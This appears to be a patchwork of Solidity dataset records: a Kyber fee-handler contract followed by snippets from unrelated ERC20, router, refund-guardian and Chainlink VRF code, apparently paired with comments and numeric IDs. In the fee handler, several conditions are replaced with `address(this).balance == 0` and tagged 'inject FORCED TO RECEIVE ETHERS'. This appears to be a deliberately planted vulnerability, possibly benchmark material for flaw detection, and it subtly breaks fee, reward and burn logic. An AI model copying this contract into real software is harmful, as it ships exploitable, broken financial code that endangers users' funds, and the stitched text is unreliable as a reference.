// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
// File: contracts/sol6/Dao/DaoOperator.sol
pragma solidity 0.6.6;
contract DaoOperator {
address public daoOperator;
constructor(address _daoOperator) public {
require(_daoOperator != address(0), "daoOperator is 0");
daoOperator = _daoOperator;
}
modifier onlyDaoOperator() {
require(msg.sender == daoOperator, "only daoOperator");
_;
}
}
// File: contracts/sol6/Dao/KyberFeeHandler.sol
pragma solidity 0.6.6;
/**
* @title IKyberProxy
* This interface combines two interfaces.
* It is needed since we use one function from each of the interfaces.
*
*/
interface IKyberProxy is IKyberNetworkProxy, ISimpleKyberProxy {
// empty block
}
/**
* @title kyberFeeHandler
*
* @dev kyberFeeHandler works tightly with contracts kyberNetwork and kyberDao.
* Some events are moved to interface, for easier usage
* @dev Terminology:
* Epoch - Voting campaign time frame in kyberDao.
* kyberDao voting campaigns are in the scope of epochs.
* BRR - Burn / Reward / Rebate. kyberNetwork fee is used for 3 purposes:
* Burning KNC
* Reward an address that staked knc in kyberStaking contract. AKA - stakers
* Rebate reserves for supporting trades.
* @dev Code flow:
* 1. Accumulating && claiming Fees. Per trade on kyberNetwork, it calls handleFees() function which
* internally accounts for network & platform fees from the trade. Fee distribution:
* rewards: accumulated per epoch. can be claimed by the kyberDao after epoch is concluded.
* rebates: accumulated per rebate wallet, can be claimed any time.
* Burn: accumulated in the contract. Burned value and interval limited with safe check using
sanity rate.
* Platfrom fee: accumulated per platform wallet, can be claimed any time.
* 2. Network Fee distribution: Per epoch kyberFeeHandler contract reads BRR distribution percentage
* from kyberDao. When the data expires, kyberFeeHandler reads updated values.
*/
contract KyberFeeHandler is IKyberFeeHandler, Utils5, DaoOperator, ReentrancyGuard {
using SafeMath for uint256;
uint256 internal constant DEFAULT_REWARD_BPS = 3000;
uint256 internal constant DEFAULT_REBATE_BPS = 3000;
uint256 internal constant SANITY_RATE_DIFF_BPS = 1000; // 10%
struct BRRData {
uint64 expiryTimestamp;
uint32 epoch;
uint16 rewardBps;
uint16 rebateBps;
}
struct BRRWei {
uint256 rewardWei;
uint256 fullRebateWei;
uint256 paidRebateWei;
uint256 burnWei;
}
IKyberDao public kyberDao;
IKyberProxy public kyberProxy;
address public kyberNetwork;
IERC20 public immutable knc;
uint256 public immutable burnBlockInterval;
uint256 public lastBurnBlock;
BRRData public brrAndEpochData;
address public daoSetter;
/// @dev amount of eth to burn for each burn knc call
uint256 public weiToBurn = 2 ether;
mapping(address => uint256) public feePerPlatformWallet;
mapping(address => uint256) public rebatePerWallet;
mapping(uint256 => uint256) public rewardsPerEpoch;
mapping(uint256 => uint256) public rewardsPaidPerEpoch;
// hasClaimedReward[staker][epoch]: true/false if the staker has/hasn't claimed the reward for an epoch
mapping(address => mapping (uint256 => bool)) public hasClaimedReward;
uint256 public totalPayoutBalance; // total balance in the contract that is for rebate, reward, platform fee
/// @dev use to get rate of KNC/ETH to check if rate to burn knc is normal
/// @dev index 0 is currently used contract address, indexes > 0 are older versions
ISanityRate[] internal sanityRateContract;
event FeeDistributed(
IERC20 indexed token,
address indexed platformWallet,
uint256 platformFeeWei,
uint256 rewardWei,
uint256 rebateWei,
address[] rebateWallets,
uint256[] rebatePercentBpsPerWallet,
uint256 burnAmtWei
);
event BRRUpdated(
uint256 rewardBps,
uint256 rebateBps,
uint256 burnBps,
uint256 expiryTimestamp,
uint256 indexed epoch
);
event EthReceived(uint256 amount);
event KyberDaoAddressSet(IKyberDao kyberDao);
event BurnConfigSet(ISanityRate sanityRate, uint256 weiToBurn);
event RewardsRemovedToBurn(uint256 indexed epoch, uint256 rewardsWei);
event KyberNetworkUpdated(address kyberNetwork);
event KyberProxyUpdated(IKyberProxy kyberProxy);
constructor(
address _daoSetter,
IKyberProxy _kyberProxy,
address _kyberNetwork,
IERC20 _knc,
uint256 _burnBlockInterval,
address _daoOperator
) public DaoOperator(_daoOperator) {
require(_daoSetter != address(0), "daoSetter 0");
require(_kyberProxy != IKyberProxy(0), "kyberNetworkProxy 0");
require(_kyberNetwork != address(0), "kyberNetwork 0");
require(_knc != IERC20(0), "knc 0");
require(_burnBlockInterval != 0, "_burnBlockInterval 0");
daoSetter = _daoSetter;
kyberProxy = _kyberProxy;
kyberNetwork = _kyberNetwork;
knc = _knc;
burnBlockInterval = _burnBlockInterval;
//start with epoch 0
updateBRRData(DEFAULT_REWARD_BPS, DEFAULT_REBATE_BPS, now, 0);
}
modifier onlyKyberDao {
require(msg.sender == address(kyberDao), "only kyberDao");
_;
}
modifier onlyKyberNetwork {
require(msg.sender == address(kyberNetwork), "only kyberNetwork");
_;
}
modifier onlyNonContract {
require(tx.origin == msg.sender, "only non-contract");
_;
}
receive() external payable {
emit EthReceived(msg.value);
}
/// @dev handleFees function is called per trade on kyberNetwork. unless the trade is not involving any fees.
/// @param token Token currency of fees
/// @param rebateWallets a list of rebate wallets that will get rebate for this trade.
/// @param rebateBpsPerWallet percentage of rebate for each wallet, out of total rebate.
/// @param platformWallet Wallet address that will receive the platfrom fee.
/// @param platformFee Fee amount (in wei) the platfrom wallet is entitled to.
/// @param networkFee Fee amount (in wei) to be allocated for BRR
function handleFees(
IERC20 token,
address[] calldata rebateWallets,
uint256[] calldata rebateBpsPerWallet,
address platformWallet,
uint256 platformFee,
uint256 networkFee
) external payable override onlyKyberNetwork nonReentrant {
require(token == ETH_TOKEN_ADDRESS, "token not eth");
require(msg.value == platformFee.add(networkFee), "msg.value not equal to total fees");
// handle platform fee
feePerPlatformWallet[platformWallet] = feePerPlatformWallet[platformWallet].add(
platformFee
);
if (address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS
// only platform fee paid
totalPayoutBalance = totalPayoutBalance.add(platformFee);
emit FeeDistributed(
ETH_TOKEN_ADDRESS,
platformWallet,
platformFee,
0,
0,
rebateWallets,
rebateBpsPerWallet,
0
);
return;
}
BRRWei memory brrAmounts;
uint256 epoch;
// Decoding BRR data
(brrAmounts.rewardWei, brrAmounts.fullRebateWei, epoch) = getRRWeiValues(networkFee);
brrAmounts.paidRebateWei = updateRebateValues(
brrAmounts.fullRebateWei, rebateWallets, rebateBpsPerWallet
);
brrAmounts.rewardWei = brrAmounts.rewardWei.add(
brrAmounts.fullRebateWei.sub(brrAmounts.paidRebateWei)
);
rewardsPerEpoch[epoch] = rewardsPerEpoch[epoch].add(brrAmounts.rewardWei);
// update total balance of rewards, rebates, fee
totalPayoutBalance = totalPayoutBalance.add(
platformFee).add(brrAmounts.rewardWei).add(brrAmounts.paidRebateWei
);
brrAmounts.burnWei = networkFee.sub(brrAmounts.rewardWei).sub(brrAmounts.paidRebateWei);
emit FeeDistributed(
ETH_TOKEN_ADDRESS,
platformWallet,
platformFee,
brrAmounts.rewardWei,
brrAmounts.paidRebateWei,
rebateWallets,
rebateBpsPerWallet,
brrAmounts.burnWei
);
}
/// @notice WARNING When staker address is a contract,
/// it should be able to receive claimed reward in ETH whenever anyone calls this function.
/// @dev not revert if already claimed or reward percentage is 0
/// allow writing a wrapper to claim for multiple epochs
/// @param staker address.
/// @param epoch for which epoch the staker is claiming the reward
function claimStakerReward(
address staker,
uint256 epoch
) external override nonReentrant returns(uint256 amountWei) {
if (hasClaimedReward[staker][epoch]) {
// staker has already claimed reward for the epoch
return 0;
}
// the relative part of the reward the staker is entitled to for the epoch.
// units Precision: 10 ** 18 = 100%
// if the epoch is current or in the future, kyberDao will return 0 as result
uint256 percentageInPrecision = kyberDao.getPastEpochRewardPercentageInPrecision(staker, epoch);
if (address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS
return 0; // not revert, in case a wrapper wants to claim reward for multiple epochs
}
require(percentageInPrecision <= PRECISION, "percentage too high");
// Amount of reward to be sent to staker
amountWei = rewardsPerEpoch[epoch].mul(percentageInPrecision).div(PRECISION);
// redundant check, can't happen
assert(totalPayoutBalance >= amountWei);
assert(rewardsPaidPerEpoch[epoch].add(amountWei) <= rewardsPerEpoch[epoch]);
rewardsPaidPerEpoch[epoch] = rewardsPaidPerEpoch[epoch].add(amountWei);
totalPayoutBalance = totalPayoutBalance.sub(amountWei);
hasClaimedReward[staker][epoch] = true;
// send reward to staker
(bool success, ) = staker.call{value: amountWei}("");
require(success, "staker rewards transfer failed");
emit RewardPaid(staker, epoch, ETH_TOKEN_ADDRESS, amountWei);
}
/// @dev claim rebate per reserve wallet. called by any address
/// @param rebateWallet the wallet to claim rebates for. Total accumulated rebate sent to this wallet.
/// @return amountWei amount of rebate claimed
function claimReserveRebate(address rebateWallet)
external
override
nonReentrant
returns (uint256 amountWei)
{
require(rebatePerWallet[rebateWallet] > 1, "no rebate to claim");
// Get total amount of rebate accumulated
amountWei = rebatePerWallet[rebateWallet].sub(1);
// redundant check, can't happen
assert(totalPayoutBalance >= amountWei);
totalPayoutBalance = totalPayoutBalance.sub(amountWei);
rebatePerWallet[rebateWallet] = 1; // avoid zero to non zero storage cost
// send rebate to rebate wallet
(bool success, ) = rebateWallet.call{value: amountWei}("");
require(success, "rebate transfer failed");
emit RebatePaid(rebateWallet, ETH_TOKEN_ADDRESS, amountWei);
return amountWei;
}
/// @dev claim accumulated fee per platform wallet. Called by any address
/// @param platformWallet the wallet to claim fee for. Total accumulated fee sent to this wallet.
/// @return amountWei amount of fee claimed
function claimPlatformFee(address platformWallet)
external
override
nonReentrant
returns (uint256 amountWei)
{
require(feePerPlatformWallet[platformWallet] > 1, "no fee to claim");
// Get total amount of fees accumulated
amountWei = feePerPlatformWallet[platformWallet].sub(1);
// redundant check, can't happen
assert(totalPayoutBalance >= amountWei);
totalPayoutBalance = totalPayoutBalance.sub(amountWei);
feePerPlatformWallet[platformWallet] = 1; // avoid zero to non zero storage cost
(bool success, ) = platformWallet.call{value: amountWei}("");
require(success, "platform fee transfer failed");
emit PlatformFeePaid(platformWallet, ETH_TOKEN_ADDRESS, amountWei);
return amountWei;
}
/// @dev set kyberDao contract address once and set setter address to zero.
/// @param _kyberDao kyberDao address.
function setDaoContract(IKyberDao _kyberDao) external {
require(msg.sender == daoSetter, "only daoSetter");
require(_kyberDao != IKyberDao(0));
kyberDao = _kyberDao;
emit KyberDaoAddressSet(kyberDao);
daoSetter = address(0);
}
/// @dev set new kyberNetwork address by daoOperator
/// @param _kyberNetwork new kyberNetwork contract
function setNetworkContract(address _kyberNetwork) external onlyDaoOperator {
require(_kyberNetwork != address(0), "kyberNetwork 0");
if (_kyberNetwork != kyberNetwork) {
kyberNetwork = _kyberNetwork;
emit KyberNetworkUpdated(kyberNetwork);
}
}
/// @dev Allow to set kyberNetworkProxy address by daoOperator
/// @param _newProxy new kyberNetworkProxy contract
function setKyberProxy(IKyberProxy _newProxy) external onlyDaoOperator {
require(_newProxy != IKyberProxy(0), "kyberNetworkProxy 0");
if (_newProxy != kyberProxy) {
kyberProxy = _newProxy;
emit KyberProxyUpdated(_newProxy);
}
}
/// @dev set knc sanity rate contract and amount wei to burn
/// @param _sanityRate new sanity rate contract
/// @param _weiToBurn new amount of wei to burn
function setBurnConfigParams(ISanityRate _sanityRate, uint256 _weiToBurn)
external
onlyDaoOperator
{
require(_weiToBurn > 0, "_weiToBurn is 0");
if (sanityRateContract.length == 0 || (_sanityRate != sanityRateContract[0])) {
// it is a new sanity rate contract
if (address(this).balance == 0) { //inject FORCED TO RECEIVE ETHERS
sanityRateContract.push(_sanityRate);
} else {
sanityRateContract.push(sanityRateContract[0]);
sanityRateContract[0] = _sanityRate;
}
}
weiToBurn = _weiToBurn;
emit BurnConfigSet(_sanityRate, _weiToBurn);
}
/// @dev Burn knc. The burn amount is limited. Forces block delay between burn calls.
/// @dev only none ontract can call this function
/// @return kncBurnAmount amount of knc burned
function burnKnc() external onlyNonContract returns (uint256 kncBurnAmount) {
// check if current block > last burn block number + num block interval
require(block.number > lastBurnBlock + burnBlockInterval, "wait more blocks to burn");
// update last burn block number
lastBurnBlock = block.number;
// Get amount to burn, if greater than weiToBurn, burn only weiToBurn per function call.
uint256 balance = address(this).balance;
// redundant check, can't happen
assert(balance >= totalPayoutBalance);
uint256 srcAmount = balance.sub(totalPayoutBalance);
srcAmount = srcAmount > weiToBurn ? weiToBurn : srcAmount;
// Get rate
uint256 kyberEthKncRate = kyberProxy.getExpectedRateAfterFee(
ETH_TOKEN_ADDRESS,
knc,
srcAmount,
0,
""
);
validateEthToKncRateToBurn(kyberEthKncRate);
// Buy some knc and burn
kncBurnAmount = kyberProxy.swapEtherToToken{value: srcAmount}(
knc,
kyberEthKncRate
);
require(IBurnableToken(address(knc)).burn(kncBurnAmount), "knc burn failed");
emit KncBurned(kncBurnAmount, ETH_TOKEN_ADDRESS, srcAmount);
return kncBurnAmount;
}
/// @dev if no one voted for an epoch (like epoch 0), no one gets rewards - should burn it.
/// Will move the epoch reward amount to burn amount. So can later be burned.
/// calls kyberDao contract to check if there were any votes for this epoch.
/// @param epoch epoch number to check.
function makeEpochRewardBurnable(uint256 epoch) external {
require(kyberDao != IKyberDao(0), "kyberDao not set");
require(kyberDao.shouldBurnRewardForEpoch(epoch), "should not burn reward");
uint256 rewardAmount = rewardsPerEpoch[epoch];
require(rewardAmount > 0, "reward is 0");
// redundant check, can't happen
require(totalPayoutBalance >= rewardAmount, "total reward less than epoch reward");
totalPayoutBalance = totalPayoutBalance.sub(rewardAmount);
rewardsPerEpoch[epoch] = 0;
emit RewardsRemovedToBurn(epoch, rewardAmount);
}
/// @notice should be called off chain
/// @dev returns list of sanity rate contracts
/// @dev index 0 is currently used contract address, indexes > 0 are older versions
function getSanityRateContracts() external view returns (ISanityRate[] memory sanityRates) {
sanityRates = sanityRateContract;
}
/// @dev return latest knc/eth rate from sanity rate contract
function getLatestSanityRate() external view returns (uint256 kncToEthSanityRate) {
if (sanityRateContract.length > 0 && sanityRateContract[0] != ISanityRate(0)) {
kncToEthSanityRate = sanityRateContract[0].latestAnswer();
} else {
kncToEthSanityRate = 0;
}
}
function getBRR()
public
returns (
uint256 rewardBps,
uint256 rebateBps,
uint256 epoch
)
{
uint256 expiryTimestamp;
(rewardBps, rebateBps, expiryTimestamp, epoch) = readBRRData();
// Check current timestamp
if (now > expiryTimestamp && kyberDao != IKyberDao(0)) {
uint256 burnBps;
(burnBps, rewardBps, rebateBps, epoch, expiryTimestamp) = kyberDao
.getLatestBRRDataWithCache();
require(burnBps.add(rewardBps).add(rebateBps) == BPS, "Bad BRR values");
emit BRRUpdated(rewardBps, rebateBps, burnBps, expiryTimestamp, epoch);
// Update brrAndEpochData
updateBRRData(rewardBps, rebateBps, expiryTimestamp, epoch);
}
}
function readBRRData()
public
view
returns (
uint256 rewardBps,
uint256 rebateBps,
uint256 expiryTimestamp,
uint256 epoch
)
{
rewardBps = uint256(brrAndEpochData.rewardBps);
rebateBps = uint256(brrAndEpochData.rebateBps);
epoch = uint256(brrAndEpochData.epoch);
expiryTimestamp = uint256(brrAndEpochData.expiryTimestamp);
}
function updateBRRData(
uint256 reward,
uint256 rebate,
uint256 expiryTimestamp,
uint256 epoch
) internal {
// reward and rebate combined values <= BPS. Tested in getBRR.
require(expiryTimestamp < 2**64, "expiry timestamp overflow");
require(epoch < 2**32, "epoch overflow");
brrAndEpochData.rewardBps = uint16(reward);
brrAndEpochData.rebateBps = uint16(rebate);
brrAndEpochData.expiryTimestamp = uint64(expiryTimestamp);
brrAndEpochData.epoch = uint32(epoch);
}
function getRRWeiValues(uint256 RRAmountWei)
internal
returns (
uint256 rewardWei,
uint256 rebateWei,
uint256 epoch
)
{
// Decoding BRR data
uint256 rewardInBps;
uint256 rebateInBps;
(rewardInBps, rebateInBps, epoch) = getBRR();
rebateWei = RRAmountWei.mul(rebateInBps).div(BPS);
rewardWei = RRAmountWei.mul(rewardInBps).div(BPS);
}
function updateRebateValues(
uint256 rebateWei,
address[] memory rebateWallets,
uint256[] memory rebateBpsPerWallet
) internal returns (uint256 totalRebatePaidWei) {
uint256 totalRebateBps;
uint256 walletRebateWei;
for (uint256 i = 0; i < rebateWallets.length; i++) {
require(rebateWallets[i] != address(0), "rebate wallet address 0");
walletRebateWei = rebateWei.mul(rebateBpsPerWallet[i]).div(BPS);
rebatePerWallet[rebateWallets[i]] = rebatePerWallet[rebateWallets[i]].add(
walletRebateWei
);
// a few wei could be left out due to rounding down. so count only paid wei
totalRebatePaidWei = totalRebatePaidWei.add(walletRebateWei);
totalRebateBps = totalRebateBps.add(rebateBpsPerWallet[i]);
}
require(totalRebateBps <= BPS, "rebates more then 100%");
}
function validateEthToKncRateToBurn(uint256 rateEthToKnc) internal view {
require(rateEthToKnc <= MAX_RATE, "ethToKnc rate out of bounds");
require(rateEthToKnc > 0, "ethToKnc rate is 0");
require(sanityRateContract.length > 0, "no sanity rate contract");
require(sanityRateContract[0] != ISanityRate(0), "sanity rate is 0x0, burning is blocked");
// get latest knc/eth rate from sanity contract
uint256 kncToEthRate = sanityRateContract[0].latestAnswer();
require(kncToEthRate > 0, "sanity rate is 0");
require(kncToEthRate <= MAX_RATE, "sanity rate out of bounds");
uint256 sanityEthToKncRate = PRECISION.mul(PRECISION).div(kncToEthRate);
// rate shouldn't be SANITY_RATE_DIFF_BPS lower than sanity rate
require(
rateEthToKnc.mul(BPS) >= sanityEthToKncRate.mul(BPS.sub(SANITY_RATE_DIFF_BPS)),
"kyberNetwork eth to knc rate too low"
);
}
}
|
Update brrAndEpochData
|
function getBRR()
public
returns (
uint256 rewardBps,
uint256 rebateBps,
uint256 epoch
)
if (now > expiryTimestamp && kyberDao != IKyberDao(0)) {
uint256 burnBps;
(burnBps, rewardBps, rebateBps, epoch, expiryTimestamp) = kyberDao
.getLatestBRRDataWithCache();
require(burnBps.add(rewardBps).add(rebateBps) == BPS, "Bad BRR values");
emit BRRUpdated(rewardBps, rebateBps, burnBps, expiryTimestamp, epoch);
updateBRRData(rewardBps, rebateBps, expiryTimestamp, epoch);
}
| 5,363,684
|
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./partial_match/1/0xa6d8C77FFf3CDcc43804275aD9997b603a7817c5/sources/src/ETHButtonswapRouter.sol
|
* @inheritdoc IETHButtonswapRouter/
|
constructor(address _factory, address _WETH) BasicButtonswapRouter(_factory) {
WETH = _WETH;
}
| 3,642,057
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./full_match/42161/0x2B33B06724dFE71D2C9a43bF00Ab73D3f2b67D4d/sources/MasterchefToken/ERC20.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance')
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero')
);
return true;
}
function mint(uint256 amount) public virtual onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'ERC20: burn amount exceeds allowance')
);
}
}
| 16,306,534
|
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// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.7;
import "./OUTPACE.sol";
import "./libs/SafeERC20.sol";
import "./interfaces/IStakingPool.sol";
contract Guardian {
// validator => pool contract
mapping (address => address) public poolForValidator;
// validator -> refundInterestPromilles
mapping (address => uint) public refundInterestPromilles;
// channelId => spender => isRefunded
mapping (bytes32 => mapping(address => bool)) public refunds;
// The OUTPACE contract that this Guardian will work with
OUTPACE outpace;
constructor(OUTPACE _outpace) {
outpace = _outpace;
}
function registerPool(address pool, uint interestPromilles) external {
require(poolForValidator[msg.sender] == address(0), 'STAKING_ALREADY_REGISTERED');
poolForValidator[msg.sender] = pool;
require(interestPromilles < 500, 'REFUND_PROMILLES_BOUNDS');
refundInterestPromilles[msg.sender] = interestPromilles;
// NOTE: later on, we can implement an 'initiation fee' here
// Which would be calling claim() here on some small amount, to ensure the claim process works for the given pool
}
function setRefundPromilles(uint interestPromilles) external {
require(interestPromilles < 500, 'REFUND_PROMILLES_BOUNDS');
refundInterestPromilles[msg.sender] = interestPromilles;
}
function getRefund(
OUTPACE.Channel calldata channel,
address spender, uint spentAmount,
bytes32[] calldata proof,
bool skipInterest
) external {
require(channel.guardian == address(this), 'NOT_GUARDIAN');
bytes32 channelId = keccak256(abi.encode(channel));
require(!refunds[channelId][spender], 'REFUND_ALREADY_RECEIVED');
refunds[channelId][spender] = true;
// Verify the spendable amount leaf
bytes32 lastStateRoot = outpace.lastStateRoot(channelId);
// if lastStateRoot is 0, spentAmount can also be 0 without verification
if (!(spentAmount == 0 && lastStateRoot == bytes32(0))) {
bytes32 balanceLeaf = keccak256(abi.encode(spender, 'spender', spentAmount));
require(MerkleProof.isContained(balanceLeaf, proof, lastStateRoot), 'BALANCELEAF_NOT_FOUND');
}
uint totalDeposited = outpace.deposits(channelId, spender);
uint refundablePrincipal = totalDeposited - spentAmount;
address blamed = channel.leader; // getBlame(channel);
address poolAddr = poolForValidator[blamed];
// Ensure the channel is closed (fail if it can't be closed yet)
uint challengeExpires = outpace.challenges(channelId);
if (challengeExpires != type(uint256).max) {
// Allow another 5 days before we can call .close(), giving more time to participants to withdraw
require(block.timestamp > challengeExpires + 5 days, 'TOO_EARLY');
outpace.close(channel);
}
// Finally, distribute the funds, and only use claim() if needed
SafeERC20.transfer(channel.tokenAddr, spender, refundablePrincipal);
// Do not send interest if there is no lastStateRoot (channel has not been used)
// cause without it, it's possible to open non-legit channels with real validators, let them expire and try to claim the interest
// Only apply the interest if the channel has been used and there's a pool from which to get it, and there's no opt out
uint interest = refundInterestPromilles[blamed];
if (!skipInterest && poolAddr != address(0) && interest != 0 && lastStateRoot != bytes32(0)) {
IStakingPool(poolAddr).claim(channel.tokenAddr, spender, (refundablePrincipal * interest) / 1000);
}
}
}
|
Do not send interest if there is no lastStateRoot (channel has not been used) cause without it, it's possible to open non-legit channels with real validators, let them expire and try to claim the interest Only apply the interest if the channel has been used and there's a pool from which to get it, and there's no opt out
|
uint interest = refundInterestPromilles[blamed];
| 5,381,726
|
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./full_match/42/0x5Ceb231D831Cc60715e32834D41532338C8D2DcF/sources/LoserLotteryContract_flat.sol
|
* **************************************************************************** @notice Interface for contracts using VRF randomness @dev PURPOSE @dev Reggie the Random Oracle (not his real job) wants to provide randomness @dev to Vera the verifier in such a way that Vera can be sure he's not @dev making his output up to suit himself. Reggie provides Vera a public key @dev to which he knows the secret key. Each time Vera provides a seed to @dev Reggie, he gives back a value which is computed completely @dev deterministically from the seed and the secret key. @dev Reggie provides a proof by which Vera can verify that the output was @dev correctly computed once Reggie tells it to her, but without that proof, @dev the output is indistinguishable to her from a uniform random sample @dev from the output space. @dev The purpose of this contract is to make it easy for unrelated contracts @dev to talk to Vera the verifier about the work Reggie is doing, to provide @dev simple access to a verifiable source of randomness. @dev USAGE @dev Calling contracts must inherit from VRFConsumerBase, and can @dev initialize VRFConsumerBase's attributes in their constructor as @dev shown: @dev contract VRFConsumer { @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) @dev VRFConsumerBase(_vrfCoordinator, _link) public { @dev <initialization with other arguments goes here> @dev } @dev } @dev The oracle will have given you an ID for the VRF keypair they have @dev committed to (let's call it keyHash), and have told you the minimum LINK @dev price for VRF service. Make sure your contract has sufficient LINK, and @dev call requestRandomness(keyHash, fee, seed), where seed is the input you @dev want to generate randomness from. @dev Once the VRFCoordinator has received and validated the oracle's response @dev to your request, it will call your contract's fulfillRandomness method. @dev The randomness argument to fulfillRandomness is the actual random value @dev generated from your seed. @dev The requestId argument is generated from the keyHash and the seed by @dev makeRequestId(keyHash, seed). If your contract could have concurrent @dev requests open, you can use the requestId to track which seed is @dev associated with which randomness. See VRFRequestIDBase.sol for more @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, @dev if your contract could have multiple requests in flight simultaneously.) @dev Colliding `requestId`s are cryptographically impossible as long as seeds @dev differ. (Which is critical to making unpredictable randomness! See the @dev next section.) @dev SECURITY CONSIDERATIONS @dev A method with the ability to call your fulfillRandomness method directly @dev could spoof a VRF response with any random value, so it's critical that @dev it cannot be directly called by anything other than this base contract @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). @dev For your users to trust that your contract's random behavior is free @dev from malicious interference, it's best if you can write it so that all @dev behaviors implied by a VRF response are executed during your @dev fulfillRandomness method. If your contract must store the response (or @dev anything derived from it) and use it later, you must ensure that any @dev user-significant behavior which depends on that stored value cannot be @dev manipulated by a subsequent VRF request. @dev Similarly, both miners and the VRF oracle itself have some influence @dev over the order in which VRF responses appear on the blockchain, so if @dev your contract could have multiple VRF requests in flight simultaneously, @dev you must ensure that the order in which the VRF responses arrive cannot @dev be used to manipulate your contract's user-significant behavior. @dev Since the ultimate input to the VRF is mixed with the block hash of the @dev block in which the request is made, user-provided seeds have no impact @dev on its economic security properties. They are only included for API @dev compatability with previous versions of this contract. @dev Since the block hash of the block which contains the requestRandomness @dev call is mixed into the input to the VRF last, a sufficiently 